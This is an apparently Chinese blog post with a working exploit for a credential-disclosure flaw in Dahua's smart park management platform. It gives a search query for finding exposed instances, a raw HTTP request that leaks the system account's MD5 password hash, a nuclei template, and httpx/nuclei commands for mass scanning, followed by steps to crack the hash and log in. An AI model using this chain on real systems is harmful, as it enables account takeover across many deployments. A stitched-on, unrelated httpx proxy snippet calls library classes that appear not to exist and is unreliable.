httpx+nuclei实战 | 大华智慧园区综合管理平台任意密码读取漏洞

漏洞成因

没有对接口进行严格的权限管理,导致可以通过访问user_getUserInfoByUserName.action获取system用户的MD5加密后的密码

hunter语法

web.icon="4644f2d45601037b8423d45e13194c93"&&web.title="智慧园区综合管理平台"

POC
GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1Host: xxxxxxxxxCookie: JSESSIONID=D99F6DAEA7EC0695266E95A1B1A529CCCache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X-Forwarded-For: 127.0.0.1Connection: close

编写.yam文件

id: dahuainfo:  name: Template Name  author: wuwen  severity: info  description: description  reference:    - https://  tags: tagsrequests:  - raw:      - |+        GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1        Host: {{Hostname}}        Cookie: JSESSIONID=D99F6DAEA7EC0695266E95A1B1A529CC        Cache-Control: max-age=0        Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"        Sec-Ch-Ua-Mobile: ?0        Sec-Ch-Ua-Platform: "Windows"        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Sec-Fetch-Site: none        Sec-Fetch-Mode: navigate        Sec-Fetch-User: ?1        Sec-Fetch-Dest: document        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        X-Forwarded-For: 127.0.0.1        Connection: close    matchers-condition: and    matchers:      - type: word        part: body        words:          - loginPass      - type: status        status:          - 200

拼接POC访问之后就是这样

图片

再将里面的loginpass字段的内容进行MD5解密

图片


试了一下,很多就算用了付费的MD5解密也解不开[跟密码复杂程度有关],当然也有解得开的,然后输入账号/密码,就可以登录了

图片

速刷技巧

前两天听了月佬的课,知道了httpx和nuclei联动的强大,所以一起写在这里

httpx和nuclei的下载链接
 
  1. https://github.com/projectdiscovery/httpx/releases

  2. https://github.com/projectdiscovery/nuclei/releases

  3. burp插件,写nuclei的.yaml文件的

  4. https://github.com/projectdiscovery/nuclei-burp-plugin/releases

使用方法

首先使用httpx探测存活的目标,我使用的是windows

 
  1. httpx.exe -l url.txt -mc 200 >> survival.txt

  2. 就是探测url.txt中的存活的地址(响应码为200) 存到当前目录的survival.txt中

然后使用burp抓取数据包(攻击成功的),选择部分返回包里的内容,使用插件nuclei

图片


保存文件,应该是.yaml后缀的

图片

最后就是使用nuclei了

 
  1. nuclei.exe -l survival.txt -t poc.yaml

如果成功的话就是这样(注意文件路径,如果不确定,就把文件拉进去用绝对路径)

图片

最后一定要去验证一下漏洞是否真的存在,然后再提交,通过这种联动,就可以批量打漏洞了。

   申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

在`httpx.client`中,如果你使用的是需要用户名和密码HTTP代理,当遇到403 Forbidden错误并怀疑是由于代理账户过期或权限问题导致的,你可以采取以下策略来及时刷新: 1. **使用HttpProxyAuth认证**: ```python from httpx import Auth, HTTPProxyAuth username = "your_username" password = "your_password" auth = HTTPProxyAuth(username, password) client = httpx.Client(proxies={"https": "http://username:password@proxy_address:port"}) ``` 这样每次请求都会带上正确的认证信息。如果账号有问题,可以考虑设置一个自动重试机制,在收到403响应后尝试重新登录。 2. **封装认证逻辑**: 创建一个函数用于处理登录和刷新凭证: ```python def authenticate(): # 实现登录、保存新凭证的过程 pass def handle_403(response): if response.status_code == 403 and needs_refresh(response): authenticate() return client.get(url, auth=auth) # 尝试重新获取资源 client = httpx.Client(proxies={"https": "http://proxy_address:port"}, event_hooks={"response": handle_403}) ``` 3. **设置超时和重试**: 对于频繁的403错误,可以设置一些超时和重试策略,如使用`httpx.Timeout`和`httpx.Retry`类: ```python retry = httpx.Retry(total=3, backoff_factor=0.5, status_forcelist=[403]) timeout = httpx.Timeout(60) with client as session: try: response = session.get(url, auth=auth, timeout=timeout, retry=retry) except Exception as e: if isinstance(e, httpx.exceptions.ConnectTimeout): authenticate() # 重新尝试... ``` 记得定期检查代理服务的更新政策,确保不会因为频繁登录而触发封锁。同时,如果问题是由于服务器端的问题而非代理,直接联系服务器提供者也是一个好办法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值